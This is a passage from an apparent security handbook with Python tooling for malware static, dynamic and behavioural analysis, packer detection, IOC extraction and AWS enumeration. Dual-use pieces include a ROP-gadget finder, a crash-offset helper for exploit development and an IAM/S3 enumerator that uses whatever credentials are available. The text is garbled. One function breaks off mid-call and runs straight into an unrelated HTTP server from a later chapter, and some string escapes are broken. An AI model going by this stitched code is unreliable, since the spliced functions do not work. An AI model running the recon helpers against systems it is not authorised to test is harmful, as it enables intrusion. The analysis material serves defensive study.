{section.Name.decode('utf-8').rstrip('x00')}: {entropy:.2f}\")\n                \n        # Few imports\n        import_count = 0\n        if hasattr(self.pe, 'DIRECTORY_ENTRY_IMPORT'):\n            for entry in self.pe.DIRECTORY_ENTRY_IMPORT:\n                import_count += len(entry.imports)\n                \n        if import_count &lt; 10:\n            indicators.append(f\"Very few imports ({import_count})\")\n            \n        # Suspicious section names\n        suspicious_sections = ['.UPX', '.packed', '.themida', '.vmp']\n        for section in self.pe.sections:\n            name = section.Name.decode('utf-8').rstrip('\\x00')\n            if name in suspicious_sections:\n                indicators.append(f\"Suspicious section name: {name}\")\n                \n        # Entry point in suspicious section\n        entry_section = None\n        ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint\n        for section in self.pe.sections:\n            if section.contains_rva(ep):\n                entry_section = section.Name.decode('utf-8').rstrip('\\x00')\n                break\n                \n        if entry_section and entry_section not in ['.text', '.code']:\n            indicators.append(f\"Entry point in non-standard section: {entry_section}\")\n            \n        return indicators\n    \n    def generate_report(self):\n        \"\"\"Generate static analysis report\"\"\"\n        \n        report = {\n            'file_info': self.get_file_info(),\n            'strings': {\n                'total': len(self.strings),\n                'interesting': self.find_interesting_strings()\n            }\n        }\n        \n        # PE analysis if applicable\n        if self.filepath.lower().endswith(('.exe', '.dll', '.sys')):\n            report['pe_info'] = self.analyze_pe()\n            report['packer_indicators'] = self.detect_packers()\n            \n        return report\n\n# Example usage\nanalyzer = StaticAnalyzer('/path/to/suspicious.exe')\n\n# Get file info\ninfo = analyzer.get_file_info()\nprint(json.dumps(info, indent=2))\n\n# Extract strings\nstrings = analyzer.extract_strings()\nprint(f\"[+] Found {len(strings)} strings\")\n\n# Find interesting strings\ninteresting = analyzer.find_interesting_strings()\nprint(f\"[+] Found {len(interesting)} interesting strings\")\n\n# PE analysis\npe_info = analyzer.analyze_pe()\nif pe_info:\n    print(json.dumps(pe_info, indent=2))\n    \n# Detect packers\npackers = analyzer.detect_packers()\nfor indicator in packers:\n    print(f\"[!] {indicator}\")\n```\n\n#### 24.2.2 Disassembly with Radare2\n\n```python\n#!/usr/bin/env python3\n# radare2_analysis.py\n\nimport subprocess\nimport json\nimport re\n\nclass Radare2Analyzer:\n    def __init__(self, binary_path):\n        self.binary = binary_path\n        self.commands = []\n        \n    def run_command(self, cmd):\n        \"\"\"Run radare2 command\"\"\"\n        \n        full_cmd = ['r2', '-q', '-c', cmd, self.binary]\n        \n        try:\n            result = subprocess.run(full_cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def analyze_all(self):\n        \"\"\"Run full analysis\"\"\"\n        \n        print(\"[*] Running full analysis...\")\n        return self.run_command('aaa')\n    \n    def get_functions(self):\n        \"\"\"List all functions\"\"\"\n        \n        output = self.run_command('afl')\n        \n        functions = []\n        for line in output.split('\\n'):\n            if line.strip():\n                parts = line.split()\n                if len(parts) &gt;= 3:\n                    functions.append({\n                        'address': parts[0],\n                        'size': parts[1],\n                        'name': ' '.join(parts[2:])\n                    })\n                    \n        return functions\n    \n    def disassemble_function(self, function_name, lines=50):\n        \"\"\"Disassemble specific function\"\"\"\n        \n        cmd = f'pdf @ {function_name}'\n        output = self.run_command(cmd)\n        \n        # Parse disassembly\n        instructions = []\n        for line in output.split('\\n'):\n            if '0x' in line and ':' in line:\n                parts = line.strip().split()\n                if len(parts) &gt;= 3:\n                    instructions.append({\n                        'address': parts[0].rstrip(':'),\n                        'bytes': parts[1],\n                        'mnemonic': parts[2],\n                        'operands': ' '.join(parts[3:]) if len(parts) &gt; 3 else ''\n                    })\n                    \n        return instructions[:lines]\n    \n    def get_strings(self):\n        \"\"\"Get strings from binary\"\"\"\n        \n        output = self.run_command('izz')\n        \n        strings = []\n        for line in output.split('\\n'):\n            if '0x' in line:\n                parts = line.split()\n                if len(parts) &gt;= 5:\n                    strings.append({\n                        'address': parts[0],\n                        'section': parts[2],\n                        'type': parts[3],\n                        'string': ' '.join(parts[4:])\n                    })\n                    \n        return strings\n    \n    def find_cross_references(self, address):\n        \"\"\"Find cross references to address\"\"\"\n        \n        cmd = f'axt @ {address}'\n        output = self.run_command(cmd)\n        \n        xrefs = []\n        for line in output.split('\\n'):\n            if '0x' in line:\n                parts = line.strip().split()\n                if len(parts) &gt;= 2:\n                    xrefs.append({\n                        'from': parts[0],\n                        'type': parts[1] if len(parts) &gt; 1 else 'unknown'\n                    })\n                    \n        return xrefs\n    \n    def get_imports(self):\n        \"\"\"Get imported functions\"\"\"\n        \n        output = self.run_command('ii')\n        \n        imports = []\n        for line in output.split('\\n'):\n            if '0x' in line:\n                parts = line.split()\n                if len(parts) &gt;= 3:\n                    imports.append({\n                        'address': parts[0],\n                        'type': parts[1],\n                        'name': parts[2]\n                    })\n                    \n        return imports\n    \n    def get_sections(self):\n        \"\"\"Get section information\"\"\"\n        \n        output = self.run_command('iS')\n        \n        sections = []\n        for line in output.split('\\n'):\n            if 'm' in line and 'r--' in line:\n                parts = line.split()\n                if len(parts) &gt;= 7:\n                    sections.append({\n                        'name': parts[0],\n                        'virtual_address': parts[1],\n                        'size': parts[2],\n                        'perms': parts[3]\n                    })\n                    \n        return sections\n    \n    def find_rop_gadgets(self):\n        \"\"\"Find ROP gadgets\"\"\"\n        \n        cmd = '/R pop,ret'\n        output = self.run_command(cmd)\n        \n        gadgets = []\n        for line in output.split('\\n'):\n            if '0x' in line:\n                parts = line.strip().split()\n                if len(parts) &gt;= 2:\n                    gadgets.append({\n                        'address': parts[0],\n                        'gadget': ' '.join(parts[1:])\n                    })\n                    \n        return gadgets\n    \n    def generate_report(self):\n        \"\"\"Generate analysis report\"\"\"\n        \n        print(\"[*] Generating radare2 analysis report...\")\n        \n        self.analyze_all()\n        \n        report = {\n            'functions': self.get_functions(),\n            'imports': self.get_imports(),\n            'sections': self.get_sections(),\n            'strings': self.get_strings()[:50],  # First 50 strings\n            'rop_gadgets': self.find_rop_gadgets()[:20]  # First 20 gadgets\n        }\n        \n        return report\n\n# Example usage\nr2 = Radare2Analyzer('/path/to/binary')\n\n# Analyze all\nr2.analyze_all()\n\n# Get functions\nfunctions = r2.get_functions()\nprint(f\"[+] Found {len(functions)} functions\")\n\n# Disassemble main\nif functions:\n    main_addr = functions[0]['address']\n    instructions = r2.disassemble_function(main_addr)\n    for insn in instructions[:20]:\n        print(f\"  {insn['address']}: {insn['mnemonic']} {insn['operands']}\")\n\n# Get strings\nstrings = r2.get_strings()\nprint(f\"[+] Found {len(strings)} strings\")\n\n# Generate report\nreport = r2.generate_report()\n```\n\n### 24.3 Dynamic Analysis\n\nDynamic analysis examines program behavior during execution, using debuggers and sandboxes.\n\n#### 24.3.1 Debugging with GDB\n\n```python\n#!/usr/bin/env python3\n# gdb_automation.py\n\nimport subprocess\nimport tempfile\nimport os\nimport re\n\nclass GDBAutomation:\n    def __init__(self, binary_path):\n        self.binary = binary_path\n        self.gdb_script = []\n        \n    def add_command(self, command):\n        \"\"\"Add GDB command to script\"\"\"\n        self.gdb_script.append(command)\n        \n    def run_gdb(self, commands=None):\n        \"\"\"Run GDB with commands\"\"\"\n        \n        if commands:\n            self.gdb_script.extend(commands)\n            \n        # Create temporary script file\n        with tempfile.NamedTemporaryFile(mode='w', suffix='.gdb', delete=False) as f:\n            for cmd in self.gdb_script:\n                f.write(cmd + '\\n')\n            f.write('quit\\n')\n            script_file = f.name\n            \n        # Run GDB\n        cmd = ['gdb', '-batch', '-x', script_file, self.binary]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n        finally:\n            os.unlink(script_file)\n            \n    def set_breakpoint(self, location):\n        \"\"\"Set breakpoint at location\"\"\"\n        self.add_command(f'break {location}')\n        \n    def run_with_args(self, args):\n        \"\"\"Run program with arguments\"\"\"\n        self.add_command(f'run {args}')\n        \n    def examine_memory(self, address, count=16, size='x'):\n        \"\"\"Examine memory at address\"\"\"\n        self.add_command(f'x/{count}{size}x {address}')\n        \n    def print_registers(self):\n        \"\"\"Print register values\"\"\"\n        self.add_command('info registers')\n        \n    def print_stack(self, count=16):\n        \"\"\"Print stack\"\"\"\n        self.add_command(f'x/{count}x $sp')\n        \n    def print_backtrace(self):\n        \"\"\"Print backtrace\"\"\"\n        self.add_command('backtrace')\n        \n    def disassemble_function(self, function):\n        \"\"\"Disassemble function\"\"\"\n        self.add_command(f'disassemble {function}')\n        \n    def analyze_crash(self, input_data):\n        \"\"\"Analyze crash with specific input\"\"\"\n        \n        self.gdb_script = []\n        self.set_breakpoint('*main')\n        self.run_with_args(input_data)\n        self.add_command('continue')\n        self.print_registers()\n        self.print_stack()\n        self.print_backtrace()\n        \n        output = self.run_gdb()\n        \n        # Parse crash information\n        crash_info = {\n            'signal': None,\n            'fault_address': None,\n            'registers': {},\n            'stack': []\n        }\n        \n        for line in output.split('\\n'):\n            if 'Program received signal' in line:\n                crash_info['signal'] = line\n            elif '0x' in line and 'rax' in line.lower():\n                # Parse registers\n                parts = line.split()\n                for i in range(0, len(parts)-1, 2):\n                    if parts[i].lower() in ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rbp', 'rsp', 'rip', 'eflags']:\n                        crash_info['registers'][parts[i].lower()] = parts[i+1]\n            elif '0x' in line and ':' in line:\n                # Parse stack\n                crash_info['stack'].append(line.strip())\n                \n        return crash_info\n    \n    def find_offset(self, pattern_length=100):\n        \"\"\"Find offset to crash using pattern\"\"\"\n        \n        import struct\n        \n        # Generate pattern\n        pattern = b''\n        for i in range(pattern_length // 4):\n            pattern += struct.pack('= 2:\n                    method = first_line[0]\n                    path = first_line[1]\n                    \n                    print(f\"[HTTP] {method} {path}\")\n                    \n            # Send response\n            response = \"\"\"HTTP/1.1 200 OK\nContent-Type: text/html\n\n\n\n\nMalware Analysis Sandbox\n\nThis is a simulated network service\n\n\n\"\"\"\n            client_socket.send(response.encode())\n            client_socket.close()\n            \n        http_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        http_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        http_sock.bind(('0.0.0.0', 80))\n        http_sock.listen(5)\n        \n        def http_thread():\n            while self.running:\n                try:\n                    client, addr = http_sock.accept()\n                    thread = threading.Thread(target=handle_client, args=(client,))\n                    thread.daemon = True\n                    thread.start()\n                except:\n                    pass\n                    \n        thread = threading.Thread(target=http_thread)\n        thread.daemon = True\n        thread.start()\n        self.services['http'] = thread\n        print(\"[+] HTTP server started\")\n        \n    def start_smtp_server(self):\n        \"\"\"Start fake SMTP server\"\"\"\n        \n        def handle_client(client_socket):\n            client_socket.send(b'220 Sandbox SMTP Server\\r\\n')\n            \n            while True:\n                data = client_socket.recv(1024).decode()\n                if not data:\n                    break\n                    \n                print(f\"[SMTP] {data.strip()}\")\n                \n                if data.startswith('EHLO') or data.startswith('HELO'):\n                    client_socket.send(b'250 Hello\\r\\n')\n                elif data.startswith('MAIL FROM:'):\n                    client_socket.send(b'250 OK\\r\\n')\n                elif data.startswith('RCPT TO:'):\n                    client_socket.send(b'250 OK\\r\\n')\n                elif data.startswith('DATA'):\n                    client_socket.send(b'354 Start mail input\\r\\n')\n                elif data.endswith('\\r\\n.\\r\\n'):\n                    client_socket.send(b'250 OK\\r\\n')\n                elif data.startswith('QUIT'):\n                    client_socket.send(b'221 Bye\\r\\n')\n                    break\n                    \n            client_socket.close()\n            \n        smtp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        smtp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        smtp_sock.bind(('0.0.0.0', 25))\n        smtp_sock.listen(5)\n        \n        def smtp_thread():\n            while self.running:\n                try:\n                    client, addr = smtp_sock.accept()\n                    thread = threading.Thread(target=handle_client, args=(client,))\n                    thread.daemon = True\n                    thread.start()\n                except:\n                    pass\n                    \n        thread = threading.Thread(target=smtp_thread)\n        thread.daemon = True\n        thread.start()\n        self.services['smtp'] = thread\n        print(\"[+] SMTP server started\")\n        \n    def start(self):\n        \"\"\"Start all network services\"\"\"\n        \n        self.running = True\n        self.start_dns_server()\n        self.start_http_server()\n        self.start_smtp_server()\n        \n        print(\"[*] Network simulator running. Press Ctrl+C to stop.\")\n        \n        try:\n            while True:\n                time.sleep(1)\n        except KeyboardInterrupt:\n            self.stop()\n            \n    def stop(self):\n        \"\"\"Stop all network services\"\"\"\n        \n        self.running = False\n        print(\"[+] Network simulator stopped\")\n\n# Example usage\nnet_sim = NetworkSimulator()\nnet_sim.start()\n```\n\n### 25.2 Behavioral Analysis\n\nBehavioral analysis observes malware actions during execution to understand its functionality.\n\n#### 25.2.1 Process Monitoring\n\n```python\n#!/usr/bin/env python3\n# behavioral_analysis.py\n\nimport subprocess\nimport psutil\nimport time\nimport json\nimport os\nfrom datetime import datetime\n\nclass BehavioralAnalyzer:\n    def __init__(self, sample_path):\n        self.sample_path = sample_path\n        self.processes = []\n        self.file_operations = []\n        self.network_connections = []\n        self.registry_changes = []\n        \n    def monitor_process_creation(self):\n        \"\"\"Monitor new process creation\"\"\"\n        \n        existing_pids = set(psutil.pids())\n        \n        # Run the sample\n        proc = subprocess.Popen([self.sample_path])\n        time.sleep(2)  # Give it time to spawn processes\n        \n        # Check for new processes\n        current_pids = set(psutil.pids())\n        new_pids = current_pids - existing_pids\n        \n        for pid in new_pids:\n            try:\n                p = psutil.Process(pid)\n                self.processes.append({\n                    'pid': pid,\n                    'name': p.name(),\n                    'exe': p.exe(),\n                    'cmdline': p.cmdline(),\n                    'create_time': datetime.fromtimestamp(p.create_time()).isoformat(),\n                    'parent': p.parent().pid if p.parent() else None\n                })\n            except:\n                pass\n                \n        proc.terminate()\n        \n        return self.processes\n    \n    def monitor_file_operations(self):\n        \"\"\"Monitor file operations (requires system monitoring tools)\"\"\"\n        \n        # This would integrate with tools like procmon on Windows\n        # or inotify on Linux\n        \n        print(\"[*] File operations monitoring requires additional tools\")\n        \n        # Placeholder for file monitoring results\n        self.file_operations = [\n            {\n                'operation': 'create',\n                'path': 'C:\\\\Users\\\\Public\\\\temp.dat',\n                'timestamp': datetime.now().isoformat()\n            }\n        ]\n        \n        return self.file_operations\n    \n    def monitor_network_connections(self):\n        \"\"\"Monitor network connections\"\"\"\n        \n        # Get connections before execution\n        before_conns = set()\n        for conn in psutil.net_connections():\n            if conn.raddr:\n                before_conns.add((conn.raddr.ip, conn.raddr.port))\n                \n        # Run sample\n        proc = subprocess.Popen([self.sample_path])\n        time.sleep(5)\n        \n        # Get connections after execution\n        after_conns = set()\n        for conn in psutil.net_connections():\n            if conn.raddr:\n                after_conns.add((conn.raddr.ip, conn.raddr.port))\n                \n        new_conns = after_conns - before_conns\n        \n        for ip, port in new_conns:\n            self.network_connections.append({\n                'remote_ip': ip,\n                'remote_port': port,\n                'timestamp': datetime.now().isoformat()\n            })\n            \n        proc.terminate()\n        \n        return self.network_connections\n    \n    def monitor_registry_changes(self, snapshot1, snapshot2):\n        \"\"\"Monitor registry changes (Windows)\"\"\"\n        \n        # This would use tools like Regshot\n        print(\"[*] Registry monitoring requires Regshot tool\")\n        \n        return self.registry_changes\n    \n    def generate_report(self):\n        \"\"\"Generate behavioral analysis report\"\"\"\n        \n        report = {\n            'sample': os.path.basename(self.sample_path),\n            'analysis_time': datetime.now().isoformat(),\n            'processes': self.processes,\n            'file_operations': self.file_operations,\n            'network_connections': self.network_connections,\n            'registry_changes': self.registry_changes\n        }\n        \n        return report\n\n# Example usage\nanalyzer = BehavioralAnalyzer('sample.exe')\n\n# Monitor processes\nprocesses = analyzer.monitor_process_creation()\nprint(f\"[+] Created {len(processes)} processes\")\n\n# Monitor network\nconnections = analyzer.monitor_network_connections()\nprint(f\"[+] Made {len(connections)} network connections\")\n\n# Generate report\nreport = analyzer.generate_report()\nprint(json.dumps(report, indent=2))\n```\n\n### 25.3 Packing &amp; Obfuscation\n\nMalware often uses packers and obfuscation to evade detection.\n\n#### 25.3.1 Packer Detection and Unpacking\n\n```python\n#!/usr/bin/env python3\n# packer_analysis.py\n\nimport pefile\nimport hashlib\nimport struct\nimport subprocess\n\nclass PackerAnalyzer:\n    def __init__(self, filepath):\n        self.filepath = filepath\n        self.pe = None\n        \n    def detect_packer(self):\n        \"\"\"Detect packer using signatures\"\"\"\n        \n        signatures = {\n            'UPX': [b'UPX', b'UPX0', b'UPX1'],\n            'ASPack': [b'ASPack', b'.aspack'],\n            'Themida': [b'Themida', b'WinLicense'],\n            'VMProtect': [b'VMP', b'VMProtect'],\n            'Enigma': [b'EnigmaVB'],\n            'MPRESS': [b'MPRESS'],\n            'PECompact': [b'PECompact'],\n            'Armadillo': [b'Armadillo'],\n            'EXE Stealth': [b'EXEStealth'],\n            'MEW': [b'MEW'],\n            'FSG': [b'FSG'],\n            'Petite': [b'Petite']\n        }\n        \n        detected = []\n        \n        with open(self.filepath, 'rb') as f:\n            data = f.read()\n            \n        for packer, sigs in signatures.items():\n            for sig in sigs:\n                if sig in data:\n                    detected.append({\n                        'packer': packer,\n                        'signature': sig.decode('utf-8', errors='ignore')\n                    })\n                    break\n                    \n        return detected\n    \n    def analyze_sections(self):\n        \"\"\"Analyze PE sections for packing indicators\"\"\"\n        \n        try:\n            self.pe = pefile.PE(self.filepath)\n        except:\n            return None\n            \n        section_analysis = []\n        \n        for section in self.pe.sections:\n            name = section.Name.decode('utf-8').rstrip('\\x00')\n            entropy = section.get_entropy()\n            raw_size = section.SizeOfRawData\n            virtual_size = section.Misc_VirtualSize\n            \n            section_analysis.append({\n                'name': name,\n                'virtual_address': hex(section.VirtualAddress),\n                'virtual_size': hex(virtual_size),\n                'raw_size': hex(raw_size),\n                'entropy': entropy,\n                'characteristics': hex(section.Characteristics),\n                'suspicious': entropy &gt; 7.0 or raw_size == 0\n            })\n            \n        return section_analysis\n    \n    def find_ep_section(self):\n        \"\"\"Find section containing entry point\"\"\"\n        \n        if not self.pe:\n            return None\n            \n        ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint\n        \n        for section in self.pe.sections:\n            if section.contains_rva(ep):\n                return section.Name.decode('utf-8').rstrip('\\x00')\n                \n        return None\n    \n    def detect_anomalies(self):\n        \"\"\"Detect PE anomalies\"\"\"\n        \n        anomalies = []\n        \n        if not self.pe:\n            return anomalies\n            \n        # Check for mismatched raw/virtual sizes\n        for section in self.pe.sections:\n            if section.SizeOfRawData == 0 and section.Misc_VirtualSize &gt; 0:\n                anomalies.append(f\"Zero raw size for section {section.Name.decode('utf-8').rstrip('x00')}\")\n                \n        # Check for suspicious characteristics\n        if self.pe.FILE_HEADER.Characteristics &amp; 0x2000:\n            anomalies.append(\"DLL characteristics flag set\")\n            \n        # Check for suspicious entry point\n        ep_section = self.find_ep_section()\n        if ep_section and ep_section not in ['.text', 'CODE']:\n            anomalies.append(f\"Entry point in non-standard section: {ep_section}\")\n            \n        # Check for import table anomalies\n        if not hasattr(self.pe, 'DIRECTORY_ENTRY_IMPORT'):\n            anomalies.append(\"No import table found\")\n        elif len(self.pe.DIRECTORY_ENTRY_IMPORT) &lt; 3:\n            anomalies.append(\"Very few imports\")\n            \n        return anomalies\n    \n    def detect_ole(self, entropy_threshold=7.0):\n        \"\"\"Detect OLE (packed) sections\"\"\"\n        \n        if not self.pe:\n            return []\n            \n        ole_sections = []\n        for section in self.pe.sections:\n            if section.get_entropy() &gt; entropy_threshold:\n                name = section.Name.decode('utf-8').rstrip('\\x00')\n                ole_sections.append({\n                    'name': name,\n                    'entropy': section.get_entropy(),\n                    'size': hex(section.SizeOfRawData)\n                })\n                \n        return ole_sections\n    \n    def unpack_with_upx(self, output_path):\n        \"\"\"Attempt to unpack with UPX\"\"\"\n        \n        cmd = ['upx', '-d', self.filepath, '-o', output_path]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                print(f\"[+] UPX unpacked to {output_path}\")\n                return True\n            else:\n                print(f\"[-] UPX unpacking failed: {result.stderr}\")\n                return False\n        except:\n            return False\n    \n    def generic_unpack(self, output_path):\n        \"\"\"Generic unpacking using debugger\"\"\"\n        \n        # This would use a debugger to dump the unpacked process\n        print(\"[*] Generic unpacking requires manual debugging\")\n        return False\n    \n    def generate_report(self):\n        \"\"\"Generate packer analysis report\"\"\"\n        \n        report = {\n            'file': self.filepath,\n            'packer_detection': self.detect_packer(),\n            'section_analysis': self.analyze_sections(),\n            'entry_point_section': self.find_ep_section(),\n            'anomalies': self.detect_anomalies(),\n            'high_entropy_sections': self.detect_ole()\n        }\n        \n        return report\n\n# Example usage\nanalyzer = PackerAnalyzer('packed.exe')\n\n# Detect packer\npackers = analyzer.detect_packer()\nif packers:\n    print(f\"[+] Detected packers: {packers}\")\n\n# Analyze sections\nsections = analyzer.analyze_sections()\nfor section in sections:\n    if section['suspicious']:\n        print(f\"[!] Suspicious section: {section['name']} (entropy: {section['entropy']:.2f})\")\n\n# Attempt unpacking\n# analyzer.unpack_with_upx('unpacked.exe')\n\n# Generate report\nreport = analyzer.generate_report()\nprint(json.dumps(report, indent=2, default=str))\n```\n\n### 25.4 Indicators of Compromise\n\nIOCs are artifacts that indicate a system has been compromised.\n\n#### 25.4.1 IOC Extraction and Management\n\n```python\n#!/usr/bin/env python3\n# ioc_extractor.py\n\nimport re\nimport hashlib\nimport json\nimport os\nfrom datetime import datetime\n\nclass IOCExtractor:\n    def __init__(self):\n        self.iocs = {\n            'file_hashes': [],\n            'ip_addresses': [],\n            'domains': [],\n            'registry_keys': [],\n            'mutexes': [],\n            'process_names': [],\n            'services': [],\n            'urls': []\n        }\n        \n    def extract_from_file(self, filepath):\n        \"\"\"Extract IOCs from file\"\"\"\n        \n        with open(filepath, 'rb') as f:\n            data = f.read()\n            \n        # Extract strings\n        strings = self.extract_strings(data)\n        \n        # Extract IP addresses\n        ip_pattern = r'\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b'\n        ips = re.findall(ip_pattern, str(strings))\n        self.iocs['ip_addresses'].extend(set(ips))\n        \n        # Extract domains\n        domain_pattern = r'\\b[a-zA-Z0-9][a-zA-Z0-9\\-]{1,61}[a-zA-Z0-9]\\.[a-zA-Z]{2,}\\b'\n        domains = re.findall(domain_pattern, str(strings))\n        self.iocs['domains'].extend(set(domains))\n        \n        # Extract URLs\n        url_pattern = r'https?://[^\\s&lt;&gt;\"\\'{}|\\\\^`\\[\\]]+'\n        urls = re.findall(url_pattern, str(strings))\n        self.iocs['urls'].extend(set(urls))\n        \n        # Extract registry keys\n        reg_pattern = r'[A-Z_]+\\\\\\\\[a-zA-Z0-9_\\\\\\\\]+'\n        reg_keys = re.findall(reg_pattern, str(strings))\n        self.iocs['registry_keys'].extend(set(reg_keys))\n        \n        # Calculate file hash\n        file_hash = hashlib.sha256(data).hexdigest()\n        self.iocs['file_hashes'].append({\n            'filename': os.path.basename(filepath),\n            'sha256': file_hash,\n            'md5': hashlib.md5(data).hexdigest(),\n            'sha1': hashlib.sha1(data).hexdigest()\n        })\n        \n        return self.iocs\n    \n    def extract_strings(self, data, min_length=4):\n        \"\"\"Extract printable strings from binary data\"\"\"\n        \n        strings = []\n        current = []\n        \n        for byte in data:\n            if 32 &lt;= byte &lt;= 126:  # Printable ASCII\n                current.append(chr(byte))\n            else:\n                if len(current) &gt;= min_length:\n                    strings.append(''.join(current))\n                current = []\n                \n        if len(current) &gt;= min_length:\n            strings.append(''.join(current))\n            \n        return strings\n    \n    def extract_from_memory(self, memory_dump):\n        \"\"\"Extract IOCs from memory dump\"\"\"\n        \n        # Similar to file extraction but with memory-specific patterns\n        pass\n    \n    def extract_from_pcap(self, pcap_file):\n        \"\"\"Extract IOCs from packet capture\"\"\"\n        \n        import pyshark\n        \n        try:\n            cap = pyshark.FileCapture(pcap_file)\n            \n            for packet in cap:\n                # Extract IPs\n                if hasattr(packet, 'ip'):\n                    self.iocs['ip_addresses'].append(packet.ip.src)\n                    self.iocs['ip_addresses'].append(packet.ip.dst)\n                    \n                # Extract domains from DNS\n                if hasattr(packet, 'dns'):\n                    if hasattr(packet.dns, 'qry_name'):\n                        self.iocs['domains'].append(packet.dns.qry_name)\n                        \n                # Extract HTTP hosts\n                if hasattr(packet, 'http'):\n                    if hasattr(packet.http, 'host'):\n                        self.iocs['domains'].append(packet.http.host)\n                        \n            cap.close()\n            \n        except Exception as e:\n            print(f\"Error parsing pcap: {e}\")\n            \n        return self.iocs\n    \n    def generate_stix(self):\n        \"\"\"Generate STIX format IOCs\"\"\"\n        \n        stix = {\n            \"type\": \"bundle\",\n            \"id\": f\"bundle--{hashlib.md5(str(datetime.now()).encode()).hexdigest()[:32]}\",\n            \"spec_version\": \"2.1\",\n            \"objects\": []\n        }\n        \n        # Create indicator objects\n        for ioc_type, iocs in self.iocs.items():\n            for ioc in iocs[:10]:  # Limit for example\n                if ioc_type == 'file_hashes':\n                    indicator = {\n                        \"type\": \"indicator\",\n                        \"spec_version\": \"2.1\",\n                        \"id\": f\"indicator--{hashlib.md5(str(ioc).encode()).hexdigest()[:32]}\",\n                        \"created\": datetime.now().isoformat(),\n                        \"modified\": datetime.now().isoformat(),\n                        \"name\": f\"File Hash: {ioc['filename']}\",\n                        \"pattern\": f\"[file:hashes.'SHA-256' = '{ioc['sha256']}']\",\n                        \"valid_from\": datetime.now().isoformat()\n                    }\n                else:\n                    indicator = {\n                        \"type\": \"indicator\",\n                        \"spec_version\": \"2.1\",\n                        \"id\": f\"indicator--{hashlib.md5(str(ioc).encode()).hexdigest()[:32]}\",\n                        \"created\": datetime.now().isoformat(),\n                        \"modified\": datetime.now().isoformat(),\n                        \"name\": f\"{ioc_type}: {ioc}\",\n                        \"pattern\": f\"[network-traffic:src_ref.value = '{ioc}']\" if ioc_type in ['ip_addresses', 'domains'] else f\"[process:name = '{ioc}']\",\n                        \"valid_from\": datetime.now().isoformat()\n                    }\n                    \n                stix[\"objects\"].append(indicator)\n                \n        return stix\n    \n    def save_iocs(self, filename, format='json'):\n        \"\"\"Save IOCs to file\"\"\"\n        \n        if format == 'json':\n            with open(filename, 'w') as f:\n                json.dump(self.iocs, f, indent=2)\n        elif format == 'stix':\n            with open(filename, 'w') as f:\n                json.dump(self.generate_stix(), f, indent=2)\n        elif format == 'csv':\n            with open(filename, 'w') as f:\n                for ioc_type, iocs in self.iocs.items():\n                    for ioc in iocs:\n                        f.write(f\"{ioc_type},{ioc}\\n\")\n                        \n        print(f\"[+] IOCs saved to {filename}\")\n\n# Example usage\nioc_extractor = IOCExtractor()\n\n# Extract from file\niocs = ioc_extractor.extract_from_file('malware.exe')\n\n# Print summary\nfor ioc_type, iocs in ioc_extractor.iocs.items():\n    print(f\"[+] {ioc_type}: {len(iocs)}\")\n\n# Save IOCs\nioc_extractor.save_iocs('iocs.json', 'json')\nioc_extractor.save_iocs('iocs.stix', 'stix')\n```\n\n---\n\n# PART XI \u2014 CLOUD &amp; CONTAINER SECURITY\n\n## Chapter 26 \u2014 Cloud Security Testing\n\nCloud computing has revolutionized IT infrastructure, but it also introduces unique security challenges. Understanding cloud-specific vulnerabilities and testing methodologies is essential for modern security professionals.\n\n### 26.1 AWS Enumeration\n\nAmazon Web Services (AWS) is the most widely used cloud platform. Enumerating AWS environments helps identify misconfigurations and vulnerabilities.\n\n#### 26.1.1 AWS Service Enumeration\n\n```python\n#!/usr/bin/env python3\n# aws_enumeration.py\n\nimport boto3\nimport botocore\nimport json\nimport requests\nfrom datetime import datetime\n\nclass AWSEnumerator:\n    def __init__(self, access_key=None, secret_key=None, session_token=None):\n        self.access_key = access_key\n        self.secret_key = secret_key\n        self.session_token = session_token\n        self.session = None\n        self.results = {}\n        \n        if access_key and secret_key:\n            self.session = boto3.Session(\n                aws_access_key_id=access_key,\n                aws_secret_access_key=secret_key,\n                aws_session_token=session_token\n            )\n        else:\n            # Try default credential chain\n            self.session = boto3.Session()\n            \n    def enumerate_iam(self):\n        \"\"\"Enumerate IAM users, roles, and policies\"\"\"\n        \n        print(\"[*] Enumerating IAM...\")\n        \n        iam = self.session.client('iam')\n        iam_results = {\n            'users': [],\n            'roles': [],\n            'groups': [],\n            'policies': []\n        }\n        \n        try:\n            # List users\n            paginator = iam.get_paginator('list_users')\n            for page in paginator.paginate():\n                for user in page['Users']:\n                    iam_results['users'].append({\n                        'username': user['UserName'],\n                        'arn': user['Arn'],\n                        'created': user['CreateDate'].isoformat(),\n                        'password_last_used': user.get('PasswordLastUsed', 'Never').isoformat() if user.get('PasswordLastUsed') else 'Never'\n                    })\n                    \n            # List roles\n            paginator = iam.get_paginator('list_roles')\n            for page in paginator.paginate():\n                for role in page['Roles']:\n                    iam_results['roles'].append({\n                        'role_name': role['RoleName'],\n                        'arn': role['Arn'],\n                        'max_session_duration': role['MaxSessionDuration'],\n                        'assume_role_policy': role['AssumeRolePolicyDocument']\n                    })\n                    \n            # List groups\n            paginator = iam.get_paginator('list_groups')\n            for page in paginator.paginate():\n                for group in page['Groups']:\n                    iam_results['groups'].append({\n                        'group_name': group['GroupName'],\n                        'arn': group['Arn']\n                    })\n                    \n            # List policies\n            paginator = iam.get_paginator('list_policies')\n            for page in paginator.paginate(Scope='Local'):\n                for policy in page['Policies']:\n                    iam_results['policies'].append({\n                        'policy_name': policy['PolicyName'],\n                        'arn': policy['Arn'],\n                        'attachment_count': policy['AttachmentCount']\n                    })\n                    \n        except botocore.exceptions.ClientError as e:\n            print(f\"[-] IAM enumeration failed: {e}\")\n            \n        self.results['iam'] = iam_results\n        return iam_results\n    \n    def enumerate_s3(self):\n        \"\"\"Enumerate S3 buckets\"\"\"\n        \n        print(\"[*] Enumerating S3...\")\n        \n        s3 = 